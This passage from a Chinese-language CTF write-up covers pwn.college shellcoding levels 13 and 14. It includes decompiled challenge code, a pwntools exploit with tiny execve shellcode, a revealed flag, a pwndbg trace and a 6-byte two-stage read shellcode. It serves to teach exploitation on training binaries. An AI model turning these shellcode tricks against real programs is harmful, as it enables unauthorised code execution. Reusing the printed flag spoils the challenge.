  size_t v4; // rax
  int fd; // [rsp+2Ch] [rbp-14h]
  const char **i; // [rsp+30h] [rbp-10h]
  const char **j; // [rsp+38h] [rbp-8h]

  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(_bss_start, 0LL, 2, 0LL);
  puts(&quot;###&quot;);
  printf(&quot;### Welcome to %s!\n&quot;, *argv);
  puts(&quot;###&quot;);
  putchar(10);
  puts(
    &quot;This challenge reads in some bytes, modifies them (depending on the specific challenge configuration), and executes them&quot;);
  puts(
    &quot;as code! This is a common exploitation scenario, called `code injection`. Through this series of challenges, you will&quot;);
  puts(
    &quot;practice your shellcode writing skills under various constraints! To ensure that you are shellcoding, rather than doing&quot;);
  puts(&quot;other tricks, this will sanitize all environment variables and arguments and close all file descriptors &amp;gt; 2.\n&quot;);
  for ( fd = 3; fd &amp;lt;= 9999; ++fd )
    close(fd);
  for ( i = argv; *i; ++i )
  {
    v3 = strlen(*i);
    memset((void *)*i, 0, v3);
  }
  for ( j = envp; *j; ++j )
  {
    v4 = strlen(*j);
    memset((void *)*j, 0, v4);
  }
  shellcode = mmap((void *)0x2A318000, 0x1000uLL, 7, 34, 0, 0LL);
  if ( shellcode != (void *)707887104 )
    __assert_fail(&quot;shellcode == (void *)0x2a318000&quot;, &quot;/challenge/babyshell-level-13.c&quot;, 0x62u, &quot;main&quot;);
  printf(&quot;Mapped 0x1000 bytes for shellcode at %p!\n&quot;, (const void *)0x2A318000);
  puts(&quot;Reading 0xc bytes from stdin.\n&quot;);
  shellcode_size = read(0, shellcode, 0xCuLL);
  if ( !shellcode_size )
    __assert_fail(&quot;shellcode_size &amp;gt; 0&quot;, &quot;/challenge/babyshell-level-13.c&quot;, 0x67u, &quot;main&quot;);
  puts(&quot;Removing write permissions from first 4096 bytes of shellcode.\n&quot;);
  if ( mprotect(shellcode, 0x1000uLL, 5) )
    __assert_fail(
      &quot;mprotect(shellcode, 4096, PROT_READ|PROT_EXEC) == 0&quot;,
      &quot;/challenge/babyshell-level-13.c&quot;,
      0x6Au,
      &quot;main&quot;);
  puts(&quot;This challenge is about to execute the following shellcode:\n&quot;);
  print_disassembly(shellcode, shellcode_size);
  puts(&amp;amp;byte_251D);
  puts(&quot;Executing shellcode!\n&quot;);
  ((void (*)(void))shellcode)();
  puts(&quot;### Goodbye!&quot;);
  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;12 bytes 是吧，巧了，哥们上一个 exp 就压在 12 bytes 上了。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import ELF, asm, context, gdb, log, pause, process, remote

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./babyshell-level-13&quot;
HOST, PORT = &quot;localhost&quot;, 1337

gdbscript = &quot;&quot;&quot;
c
&quot;&quot;&quot;


def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    if local:
        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug(
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
            )
        else:
            return process([elf.path] + (argv or []), env=envp)
    else:
        return remote(HOST, PORT)


def send_payload(target, payload):
    try:
        target.send(payload)
    except Exception as e:
        log.exception(f&quot;An error occurred while sending payload: {e}&quot;)


def construct_payload():
    shellcode = &quot;&quot;&quot;
    /* execve(path=&apos;a&apos;, argv=0, envp=0) */
    /* push b&apos;a\x00&apos; */
    push 0x61
    mov rdi, rsp
    xor esi, esi
    cdq
    /* call execve() */
    mov al, 59 /* 0x3b */
    syscall
    &quot;&quot;&quot;

    return asm(shellcode)


def attack(target, payload):
    try:
        send_payload(target, payload)

        response = target.recvall(timeout=5)

        return b&quot;pwn.college{&quot; in response
    except Exception as e:
        log.exception(f&quot;An error occurred while performing attack: {e}&quot;)


def main():
    try:
        target = launch()
        payload = construct_payload()

        if attack(target, payload):
            log.success(&quot;Success! Exiting...&quot;)

            pause()
            exit()
    except Exception as e:
        log.exception(f&quot;An error occurred in main: {e}&quot;)


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{s_8hupYRZPagLrq6OX3Dd--4PYY.0VOyIDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 14&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Write and execute shellcode to read the flag, but this time you only get 6 bytes :)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;int __fastcall main(int argc, const char **argv, const char **envp)
{
  size_t v3; // rax
  size_t v4; // rax
  int fd; // [rsp+2Ch] [rbp-14h]
  const char **i; // [rsp+30h] [rbp-10h]
  const char **j; // [rsp+38h] [rbp-8h]

  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(_bss_start, 0LL, 2, 0LL);
  puts(&quot;###&quot;);
  printf(&quot;### Welcome to %s!\n&quot;, *argv);
  puts(&quot;###&quot;);
  putchar(10);
  puts(
    &quot;This challenge reads in some bytes, modifies them (depending on the specific challenge configuration), and executes them&quot;);
  puts(
    &quot;as code! This is a common exploitation scenario, called `code injection`. Through this series of challenges, you will&quot;);
  puts(
    &quot;practice your shellcode writing skills under various constraints! To ensure that you are shellcoding, rather than doing&quot;);
  puts(&quot;other tricks, this will sanitize all environment variables and arguments and close all file descriptors &amp;gt; 2.\n&quot;);
  for ( fd = 3; fd &amp;lt;= 9999; ++fd )
    close(fd);
  for ( i = argv; *i; ++i )
  {
    v3 = strlen(*i);
    memset((void *)*i, 0, v3);
  }
  for ( j = envp; *j; ++j )
  {
    v4 = strlen(*j);
    memset((void *)*j, 0, v4);
  }
  shellcode = mmap((void *)0x2C0A3000, 0x1000uLL, 7, 34, 0, 0LL);
  if ( shellcode != (void *)738865152 )
    __assert_fail(&quot;shellcode == (void *)0x2c0a3000&quot;, &quot;/challenge/babyshell-level-14.c&quot;, 0x62u, &quot;main&quot;);
  printf(&quot;Mapped 0x1000 bytes for shellcode at %p!\n&quot;, (const void *)0x2C0A3000);
  puts(&quot;Reading 0x6 bytes from stdin.\n&quot;);
  shellcode_size = read(0, shellcode, 6uLL);
  if ( !shellcode_size )
    __assert_fail(&quot;shellcode_size &amp;gt; 0&quot;, &quot;/challenge/babyshell-level-14.c&quot;, 0x67u, &quot;main&quot;);
  puts(&quot;This challenge is about to execute the following shellcode:\n&quot;);
  print_disassembly(shellcode, shellcode_size);
  puts(&amp;amp;byte_24A5);
  puts(&quot;Executing shellcode!\n&quot;);
  ((void (*)(void))shellcode)();
  puts(&quot;### Goodbye!&quot;);
  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;6 bytes，看似好像是一件不可能完成的任务，butttt，如果你尝试动态调试会就会发现，&lt;code&gt;rax&lt;/code&gt; 的值正好可以用于 &lt;code&gt;syscall&lt;/code&gt; 来调用 &lt;code&gt;read&lt;/code&gt;；&lt;code&gt;rdx&lt;/code&gt; 的值正好可以用做 &lt;code&gt;read&lt;/code&gt; 的第二个参数，指定 &lt;code&gt;buf&lt;/code&gt; 地址；&lt;code&gt;rsi&lt;/code&gt; 的值足够大，正好用作 &lt;code&gt;read&lt;/code&gt; 的第三个参数，指定输入大小。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pwndbg&amp;gt; disass main
Dump of assembler code for function main:
   0x0000000000001547 &amp;lt;+0&amp;gt;: endbr64
   0x000000000000154b &amp;lt;+4&amp;gt;: push   rbp
   0x000000000000154c &amp;lt;+5&amp;gt;: mov    rbp,rsp
   0x000000000000154f &amp;lt;+8&amp;gt;: sub    rsp,0x40
   0x0000000000001553 &amp;lt;+12&amp;gt;: mov    DWORD PTR [rbp-0x24],edi
   0x0000000000001556 &amp;lt;+15&amp;gt;: mov    QWORD PTR [rbp-0x30],rsi
   0x000000000000155a &amp;lt;+19&amp;gt;: mov    QWORD PTR [rbp-0x38],rdx
   0x000000000000155e &amp;lt;+23&amp;gt;: mov    rax,QWORD PTR [rip+0x2abb]        # 0x4020 &amp;lt;stdin@@GLIBC_2.2.5&amp;gt;
   0x0000000000001565 &amp;lt;+30&amp;gt;: mov    ecx,0x0
   0x000000000000156a &amp;lt;+35&amp;gt;: mov    edx,0x2
   0x000000000000156f &amp;lt;+40&amp;gt;: mov    esi,0x0
   0x0000000000001574 &amp;lt;+45&amp;gt;: mov    rdi,rax
   0x0000000000001577 &amp;lt;+48&amp;gt;: call   0x11d0 &amp;lt;setvbuf@plt&amp;gt;
   0x000000000000157c &amp;lt;+53&amp;gt;: mov    rax,QWORD PTR [rip+0x2a8d]        # 0x4010 &amp;lt;stdout@@GLIBC_2.2.5&amp;gt;
   0x0000000000001583 &amp;lt;+60&amp;gt;: mov    ecx,0x0
   0x0000000000001588 &amp;lt;+65&amp;gt;: mov    edx,0x2
   0x000000000000158d &amp;lt;+70&amp;gt;: mov    esi,0x0
   0x0000000000001592 &amp;lt;+75&amp;gt;: mov    rdi,rax
   0x0000000000001595 &amp;lt;+78&amp;gt;: call   0x11d0 &amp;lt;setvbuf@plt&amp;gt;
   0x000000000000159a &amp;lt;+83&amp;gt;: lea    rdi,[rip+0xc24]        # 0x21c5
   0x00000000000015a1 &amp;lt;+90&amp;gt;: call   0x1130 &amp;lt;puts@plt&amp;gt;
   0x00000000000015a6 &amp;lt;+95&amp;gt;: mov    rax,QWORD PTR [rbp-0x30]
   0x00000000000015aa &amp;lt;+99&amp;gt;: mov    rax,QWORD PTR [rax]
   0x00000000000015ad &amp;lt;+102&amp;gt;: mov    rsi,rax
   0x00000000000015b0 &amp;lt;+105&amp;gt;: lea    rdi,[rip+0xc12]        # 0x21c9
   0x00000000000015b7 &amp;lt;+112&amp;gt;: mov    eax,0x0
   0x00000000000015bc &amp;lt;+117&amp;gt;: call   0x1170 &amp;lt;printf@plt&amp;gt;
   0x00000000000015c1 &amp;lt;+122&amp;gt;: lea    rdi,[rip+0xbfd]        # 0x21c5
   0x00000000000015c8 &amp;lt;+129&amp;gt;: call   0x1130 &amp;lt;puts@plt&amp;gt;
   0x00000000000015cd &amp;lt;+134&amp;gt;: mov    edi,0xa
   0x00000000000015d2 &amp;lt;+139&amp;gt;: call   0x1120 &amp;lt;putchar@plt&amp;gt;
   0x00000000000015d7 &amp;lt;+144&amp;gt;: lea    rdi,[rip+0xc02]        # 0x21e0
   0x00000000000015de &amp;lt;+151&amp;gt;: call   0x1130 &amp;lt;puts@plt&amp;gt;
   0x00000000000015e3 &amp;lt;+156&amp;gt;: lea    rdi,[rip+0xc76]        # 0x2260
   0x00000000000015ea &amp;lt;+163&amp;gt;: call   0x1130 &amp;lt;puts@plt&amp;gt;
   0x00000000000015ef &amp;lt;+168&amp;gt;: lea    rdi,[rip+0xce2]        # 0x22d8
   0x00000000000015f6 &amp;lt;+175&amp;gt;: call   0x1130 &amp;lt;puts@plt&amp;gt;
   0x00000000000015fb &amp;lt;+180&amp;gt;: lea    rdi,[rip+0xd4e]        # 0x2350
   0x0000000000001602 &amp;lt;+187&amp;gt;: call   0x1130 &amp;lt;puts@plt&amp;gt;
   0x0000000000001607 &amp;lt;+192&amp;gt;: mov    DWORD PTR [rbp-0x14],0x3
   0x000000000000160e &amp;lt;+199&amp;gt;: jmp    0x161e &amp;lt;main+215&amp;gt;
   0x0000000000001610 &amp;lt;+201&amp;gt;: mov    eax,DWORD PTR [rbp-0x14]
   0x0000000000001613 &amp;lt;+204&amp;gt;: mov    edi,eax
   0x0000000000001615 &amp;lt;+206&amp;gt;: call   0x11a0 &amp;lt;close@plt&amp;gt;
   0x000000000000161a &amp;lt;+211&amp;gt;: add    DWORD PTR [rbp-0x14],0x1
   0x000000000000161e &amp;lt;+215&amp;gt;: cmp    DWORD PTR [rbp-0x14],0x270f
   0x0000000000001625 &amp;lt;+222&amp;gt;: jle    0x1610 &amp;lt;main+201&amp;gt;
   0x0000000000001627 &amp;lt;+224&amp;gt;: mov    rax,QWORD PTR [rbp-0x30]
   0x000000000000162b &amp;lt;+228&amp;gt;: mov    QWORD PTR [rbp-0x10],rax
   0x000000000000162f &amp;lt;+232&amp;gt;: jmp    0x165c &amp;lt;main+277&amp;gt;
   0x0000000000001631 &amp;lt;+234&amp;gt;: mov    rax,QWORD PTR [rbp-0x10]
   0x0000000000001635 &amp;lt;+238&amp;gt;: mov    rax,QWORD PTR [rax]
   0x0000000000001638 &amp;lt;+241&amp;gt;: mov    rdi,rax
   0x000000000000163b &amp;lt;+244&amp;gt;: call   0x1150 &amp;lt;strlen@plt&amp;gt;
   0x0000000000001640 &amp;lt;+249&amp;gt;: mov    rdx,rax
   0x0000000000001643 &amp;lt;+252&amp;gt;: mov    rax,QWORD PTR [rbp-0x10]
   0x0000000000001647 &amp;lt;+256&amp;gt;: mov    rax,QWORD PTR [rax]
   0x000000000000164a &amp;lt;+259&amp;gt;: mov    esi,0x0
   0x000000000000164f &amp;lt;+264&amp;gt;: mov    rdi,rax
   0x0000000000001652 &amp;lt;+267&amp;gt;: call   0x1190 &amp;lt;memset@plt&amp;gt;
   0x0000000000001657 &amp;lt;+272&amp;gt;: add    QWORD PTR [rbp-0x10],0x8
   0x000000000000165c &amp;lt;+277&amp;gt;: mov    rax,QWORD PTR [rbp-0x10]
   0x0000000000001660 &amp;lt;+281&amp;gt;: mov    rax,QWORD PTR [rax]
   0x0000000000001663 &amp;lt;+284&amp;gt;: test   rax,rax
   0x0000000000001666 &amp;lt;+287&amp;gt;: jne    0x1631 &amp;lt;main+234&amp;gt;
   0x0000000000001668 &amp;lt;+289&amp;gt;: mov    rax,QWORD PTR [rbp-0x38]
   0x000000000000166c &amp;lt;+293&amp;gt;: mov    QWORD PTR [rbp-0x8],rax
   0x0000000000001670 &amp;lt;+297&amp;gt;: jmp    0x169d &amp;lt;main+342&amp;gt;
   0x0000000000001672 &amp;lt;+299&amp;gt;: mov    rax,QWORD PTR [rbp-0x8]
   0x0000000000001676 &amp;lt;+303&amp;gt;: mov    rax,QWORD PTR [rax]
   0x0000000000001679 &amp;lt;+306&amp;gt;: mov    rdi,rax
   0x000000000000167c &amp;lt;+309&amp;gt;: call   0x1150 &amp;lt;strlen@plt&amp;gt;
   0x0000000000001681 &amp;lt;+314&amp;gt;: mov    rdx,rax
   0x0000000000001684 &amp;lt;+317&amp;gt;: mov    rax,QWORD PTR [rbp-0x8]
   0x0000000000001688 &amp;lt;+321&amp;gt;: mov    rax,QWORD PTR [rax]
   0x000000000000168b &amp;lt;+324&amp;gt;: mov    esi,0x0
   0x0000000000001690 &amp;lt;+329&amp;gt;: mov    rdi,rax
   0x0000000000001693 &amp;lt;+332&amp;gt;: call   0x1190 &amp;lt;memset@plt&amp;gt;
   0x0000000000001698 &amp;lt;+337&amp;gt;: add    QWORD PTR [rbp-0x8],0x8
   0x000000000000169d &amp;lt;+342&amp;gt;: mov    rax,QWORD PTR [rbp-0x8]
   0x00000000000016a1 &amp;lt;+346&amp;gt;: mov    rax,QWORD PTR [rax]
   0x00000000000016a4 &amp;lt;+349&amp;gt;: test   rax,rax
   0x00000000000016a7 &amp;lt;+352&amp;gt;: jne    0x1672 &amp;lt;main+299&amp;gt;
   0x00000000000016a9 &amp;lt;+354&amp;gt;: mov    r9d,0x0
   0x00000000000016af &amp;lt;+360&amp;gt;: mov    r8d,0x0
   0x00000000000016b5 &amp;lt;+366&amp;gt;: mov    ecx,0x22
   0x00000000000016ba &amp;lt;+371&amp;gt;: mov    edx,0x7
   0x00000000000016bf &amp;lt;+376&amp;gt;: mov    esi,0x1000
   0x00000000000016c4 &amp;lt;+381&amp;gt;: mov    edi,0x2c0a3000
   0x00000000000016c9 &amp;lt;+386&amp;gt;: call   0x1160 &amp;lt;mmap@plt&amp;gt;
   0x00000000000016ce &amp;lt;+391&amp;gt;: mov    QWORD PTR [rip+0x2963],rax        # 0x4038 &amp;lt;shellcode&amp;gt;
   0x00000000000016d5 &amp;lt;+398&amp;gt;: mov    rax,QWORD PTR [rip+0x295c]        # 0x4038 &amp;lt;shellcode&amp;gt;
   0x00000000000016dc &amp;lt;+405&amp;gt;: cmp    rax,0x2c0a3000
   0x00000000000016e2 &amp;lt;+411&amp;gt;: je     0x1703 &amp;lt;main+444&amp;gt;
   0x00000000000016e4 &amp;lt;+413&amp;gt;: lea    rcx,[rip+0xdde]        # 0x24c9 &amp;lt;__PRETTY_FUNCTION__.25265&amp;gt;
   0x00000000000016eb &amp;lt;+420&amp;gt;: mov    edx,0x62
   0x00000000000016f0 &amp;lt;+425&amp;gt;: lea    rsi,[rip+0xcc9]        # 0x23c0
   0x00000000000016f7 &amp;lt;+432&amp;gt;: lea    rdi,[rip+0xce2]        # 0x23e0
   0x00000000000016fe &amp;lt;+439&amp;gt;: call   0x1180 &amp;lt;__assert_fail@plt&amp;gt;
   0x0000000000001703 &amp;lt;+444&amp;gt;: mov    rax,QWORD PTR [rip+0x292e]        # 0x4038 &amp;lt;shellcode&amp;gt;
   0x000000000000170a &amp;lt;+451&amp;gt;: mov    rsi,rax
   0x000000000000170d &amp;lt;+454&amp;gt;: lea    rdi,[rip+0xcec]        # 0x2400
   0x0000000000001714 &amp;lt;+461&amp;gt;: mov    eax,0x0
   0x0000000000001719 &amp;lt;+466&amp;gt;: call   0x1170 &amp;lt;printf@plt&amp;gt;
   0x000000000000171e &amp;lt;+471&amp;gt;: lea    rdi,[rip+0xd0b]        # 0x2430
   0x0000000000001725 &amp;lt;+478&amp;gt;: call   0x1130 &amp;lt;puts@plt&amp;gt;
   0x000000000000172a &amp;lt;+483&amp;gt;: mov    rax,QWORD PTR [rip+0x2907]        # 0x4038 &amp;lt;shellcode&amp;gt;
   0x0000000000001731 &amp;lt;+490&amp;gt;: mov    edx,0x6
   0x0000000000001736 &amp;lt;+495&amp;gt;: mov    rsi,rax
   0x0000000000001739 &amp;lt;+498&amp;gt;: mov    edi,0x0
   0x000000000000173e &amp;lt;+503&amp;gt;: call   0x11b0 &amp;lt;read@plt&amp;gt;
   0x0000000000001743 &amp;lt;+508&amp;gt;: mov    QWORD PTR [rip+0x28e6],rax        # 0x4030 &amp;lt;shellcode_size&amp;gt;
   0x000000000000174a &amp;lt;+515&amp;gt;: mov    rax,QWORD PTR [rip+0x28df]        # 0x4030 &amp;lt;shellcode_size&amp;gt;
   0x0000000000001751 &amp;lt;+522&amp;gt;: test   rax,rax
   0x0000000000001754 &amp;lt;+525&amp;gt;: jne    0x1775 &amp;lt;main+558&amp;gt;
   0x0000000000001756 &amp;lt;+527&amp;gt;: lea    rcx,[rip+0xd6c]        # 0x24c9 &amp;lt;__PRETTY_FUNCTION__.25265&amp;gt;
   0x000000000000175d &amp;lt;+534&amp;gt;: mov    edx,0x67
   0x0000000000001762 &amp;lt;+539&amp;gt;: lea    rsi,[rip+0xc57]        # 0x23c0
   0x0000000000001769 &amp;lt;+546&amp;gt;: lea    rdi,[rip+0xcdf]        # 0x244f
   0x0000000000001770 &amp;lt;+553&amp;gt;: call   0x1180 &amp;lt;__assert_fail@plt&amp;gt;
   0x0000000000001775 &amp;lt;+558&amp;gt;: lea    rdi,[rip+0xcec]        # 0x2468
   0x000000000000177c &amp;lt;+565&amp;gt;: call   0x1130 &amp;lt;puts@plt&amp;gt;
   0x0000000000001781 &amp;lt;+570&amp;gt;: mov    rdx,QWORD PTR [rip+0x28a8]        # 0x4030 &amp;lt;shellcode_size&amp;gt;
   0x0000000000001788 &amp;lt;+577&amp;gt;: mov    rax,QWORD PTR [rip+0x28a9]        # 0x4038 &amp;lt;shellcode&amp;gt;
   0x000000000000178f &amp;lt;+584&amp;gt;: mov    rsi,rdx
   0x0000000000001792 &amp;lt;+587&amp;gt;: mov    rdi,rax
   0x0000000000001795 &amp;lt;+590&amp;gt;: call   0x12e9 &amp;lt;print_disassembly&amp;gt;
   0x000000000000179a &amp;lt;+595&amp;gt;: lea    rdi,[rip+0xd04]        # 0x24a5
   0x00000000000017a1 &amp;lt;+602&amp;gt;: call   0x1130 &amp;lt;puts@plt&amp;gt;
   0x00000000000017a6 &amp;lt;+607&amp;gt;: lea    rdi,[rip+0xcf9]        # 0x24a6
   0x00000000000017ad &amp;lt;+614&amp;gt;: call   0x1130 &amp;lt;puts@plt&amp;gt;
   0x00000000000017b2 &amp;lt;+619&amp;gt;: mov    rax,QWORD PTR [rip+0x287f]        # 0x4038 &amp;lt;shellcode&amp;gt;
   0x00000000000017b9 &amp;lt;+626&amp;gt;: mov    rdx,rax
   0x00000000000017bc &amp;lt;+629&amp;gt;: mov    eax,0x0
   0x00000000000017c1 &amp;lt;+634&amp;gt;: call   rdx
   0x00000000000017c3 &amp;lt;+636&amp;gt;: lea    rdi,[rip+0xcf2]        # 0x24bc
   0x00000000000017ca &amp;lt;+643&amp;gt;: call   0x1130 &amp;lt;puts@plt&amp;gt;
   0x00000000000017cf &amp;lt;+648&amp;gt;: mov    eax,0x0
   0x00000000000017d4 &amp;lt;+653&amp;gt;: leave
   0x00000000000017d5 &amp;lt;+654&amp;gt;: ret
End of assembler dump.
pwndbg&amp;gt; b *main+634
Breakpoint 1 at 0x17c1
pwndbg&amp;gt; r
Starting program: /home/cub3y0nd/Projects/pwn.college/babyshell-level-14
[Thread debugging using libthread_db enabled]
Using host libthread_db library &quot;/usr/lib/libthread_db.so.1&quot;.
###
### Welcome to /home/cub3y0nd/Projects/pwn.college/babyshell-level-14!
###

This challenge reads in some bytes, modifies them (depending on the specific challenge configuration), and executes them
as code! This is a common exploitation scenario, called `code injection`. Through this series of challenges, you will
practice your shellcode writing skills under various constraints! To ensure that you are shellcoding, rather than doing
other tricks, this will sanitize all environment variables and arguments and close all file descriptors &amp;gt; 2.

Mapped 0x1000 bytes for shellcode at 0x2c0a3000!
Reading 0x6 bytes from stdin.


This challenge is about to execute the following shellcode:

ERROR: Failed to disassemble shellcode! Bytes are:

      Address      |                      Bytes
--------------------------------------------------------------------
0x000000002c0a3000 | 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Executing shellcode!


Breakpoint 1, 0x0000614116b287c1 in main ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
─────────────────[ REGISTERS / show-flags off / show-compact-regs off ]──────────────────
 RAX  0
 RBX  0x7ffd5ec85d08 —▸ 0x7ffd5ec86c08 ◂— 0
 RCX  0x71ac56b1b7a4 (write+20) ◂— cmp rax, -0x1000 /* &apos;H=&apos; */
 RDX  0x2c0a3000 ◂— 0xa /* &apos;\n&apos; */
 RDI  0x71ac56bf8710 ◂— 0
 RSI  0x71ac56bf7643 (_IO_2_1_stdout_+131) ◂— 0xbf8710000000000a /* &apos;\n&apos; */
 R8   0x614119b31010 ◂— 0
 R9   7
 R10  0x614119b312a0 ◂— 0x614119b31
 R11  0x202
 R12  1
 R13  0
 R14  0x71ac573d0000 (_rtld_global) —▸ 0x71ac573d12e0 —▸ 0x614116b27000 ◂— 0x10102464c457f
 R15  0
 RBP  0x7ffd5ec85be0 —▸ 0x7ffd5ec85c80 —▸ 0x7ffd5ec85ce0 ◂— 0
 RSP  0x7ffd5ec85ba0 ◂— 0
 RIP  0x614116b287c1 (main+634) ◂— call rdx
──────────────────────────[ DISASM / x86-64 / set emulate on ]───────────────────────────
 ► 0x614116b287c1 &amp;lt;main+634&amp;gt;              call   rdx                         &amp;lt;0x2c0a3000&amp;gt;

   0x614116b287c3 &amp;lt;main+636&amp;gt;              lea    rdi, [rip + 0xcf2]     RDI =&amp;gt; 0x614116b294bc ◂— &apos;### Goodbye!&apos;
   0x614116b287ca &amp;lt;main+643&amp;gt;              call   puts@plt                    &amp;lt;puts@plt&amp;gt;

   0x614116b287cf &amp;lt;main+648&amp;gt;              mov    eax, 0                      EAX =&amp;gt; 0
   0x614116b287d4 &amp;lt;main+653&amp;gt;              leave
   0x614116b287d5 &amp;lt;main+654&amp;gt;              ret

   0x614116b287d6                         nop    word ptr cs:[rax + rax]
   0x614116b287e0 &amp;lt;__libc_csu_init&amp;gt;       endbr64
   0x614116b287e4 &amp;lt;__libc_csu_init+4&amp;gt;     push   r15
   0x614116b287e6 &amp;lt;__libc_csu_init+6&amp;gt;     lea    r15, [rip + 0x2553]         R15 =&amp;gt; 0x614
116b2ad40 (__init_array_start) —▸ 0x614116b282e0 (frame_dummy) ◂— endbr64
   0x614116b287ed &amp;lt;__libc_csu_init+13&amp;gt;    push   r14
────────────────────────────────────────[ STACK ]────────────────────────────────────────
00:0000│ rsp 0x7ffd5ec85ba0 ◂— 0
01:0008│-038 0x7ffd5ec85ba8 —▸ 0x7ffd5ec85d18 —▸ 0x7ffd5ec86c3f ◂— 0
02:0010│-030 0x7ffd5ec85bb0 —▸ 0x7ffd5ec85d08 —▸ 0x7ffd5ec86c08 ◂— 0
03:0018│-028 0x7ffd5ec85bb8 ◂— 0x100000000
04:0020│-020 0x7ffd5ec85bc0 ◂— 0
05:0028│-018 0x7ffd5ec85bc8 ◂— 0x2710573b83e0
06:0030│-010 0x7ffd5ec85bd0 —▸ 0x7ffd5ec85d10 ◂— 0
07:0038│-008 0x7ffd5ec85bd8 —▸ 0x7ffd5ec85df0 ◂— 0
──────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────
 ► 0   0x614116b287c1 main+634
   1   0x71ac56a34e08
   2   0x71ac56a34ecc __libc_start_main+140
   3   0x614116b2822e _start+46
─────────────────────────────────────────────────────────────────────────────────────────
pwndbg&amp;gt; ni

Program received signal SIGSEGV, Segmentation fault.
0x000000002c0a3000 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
───────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────────────────────
 RAX  0
 RBX  0x7ffd5ec85d08 —▸ 0x7ffd5ec86c08 ◂— 0
 RCX  0x71ac56b1b7a4 (write+20) ◂— cmp rax, -0x1000 /* &apos;H=&apos; */
 RDX  0x2c0a3000 ◂— 0xa /* &apos;\n&apos; */
 RDI  0x71ac56bf8710 ◂— 0
 RSI  0x71ac56bf7643 (_IO_2_1_stdout_+131) ◂— 0xbf8710000000000a /* &apos;\n&apos; */
 R8   0x614119b31010 ◂— 0
 R9   7
 R10  0x614119b312a0 ◂— 0x614119b31
 R11  0x202
 R12  1
 R13  0
 R14  0x71ac573d0000 (_rtld_global) —▸ 0x71ac573d12e0 —▸ 0x614116b27000 ◂— 0x10102464c457f
 R15  0
 RBP  0x7ffd5ec85be0 —▸ 0x7ffd5ec85c80 —▸ 0x7ffd5ec85ce0 ◂— 0
*RSP  0x7ffd5ec85b98 —▸ 0x614116b287c3 (main+636) ◂— lea rdi, [rip + 0xcf2]
*RIP  0x2c0a3000 ◂— 0xa /* &apos;\n&apos; */
────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────────────────────
 ► 0x2c0a3000    or     al, byte ptr [rax]
   0x2c0a3002    add    byte ptr [rax], al
   0x2c0a3004    add    byte ptr [rax], al
   0x2c0a3006    add    byte ptr [rax], al
   0x2c0a3008    add    byte ptr [rax], al
   0x2c0a300a    add    byte ptr [rax], al
   0x2c0a300c    add    byte ptr [rax], al
   0x2c0a300e    add    byte ptr [rax], al
   0x2c0a3010    add    byte ptr [rax], al
   0x2c0a3012    add    byte ptr [rax], al
   0x2c0a3014    add    byte ptr [rax], al
─────────────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7ffd5ec85b98 —▸ 0x614116b287c3 (main+636) ◂— lea rdi, [rip + 0xcf2]
01:0008│-040 0x7ffd5ec85ba0 ◂— 0
02:0010│-038 0x7ffd5ec85ba8 —▸ 0x7ffd5ec85d18 —▸ 0x7ffd5ec86c3f ◂— 0
03:0018│-030 0x7ffd5ec85bb0 —▸ 0x7ffd5ec85d08 —▸ 0x7ffd5ec86c08 ◂— 0
04:0020│-028 0x7ffd5ec85bb8 ◂— 0x100000000
05:0028│-020 0x7ffd5ec85bc0 ◂— 0
06:0030│-018 0x7ffd5ec85bc8 ◂— 0x2710573b83e0
07:0038│-010 0x7ffd5ec85bd0 —▸ 0x7ffd5ec85d10 ◂— 0
───────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────────────
 ► 0       0x2c0a3000
   1   0x614116b287c3 main+636
   2   0x71ac56a34e08
   3   0x71ac56a34ecc __libc_start_main+140
   4   0x614116b2822e _start+46
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;来来来，我们看看 stage_1 的 shellcode 编译出来占多少字节：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.global _start
.intel_syntax noprefix

_start:
  xor edi, edi
  xchg esi, edx
  syscall
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;0000000000401000 &amp;lt;_start&amp;gt;:
  401000:       31 ff                   xor    edi,edi
  401002:       87 d6                   xchg   esi,edx
  401004:       0f 05                   syscall
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;GG 正好 6 bytes！笑不动了哈哈哈。&lt;/p&gt;
&lt;p&gt;现在，有了 stage_1 的辅助，stage_2 该怎么办不用多说了吧 xD&lt;/p&gt;
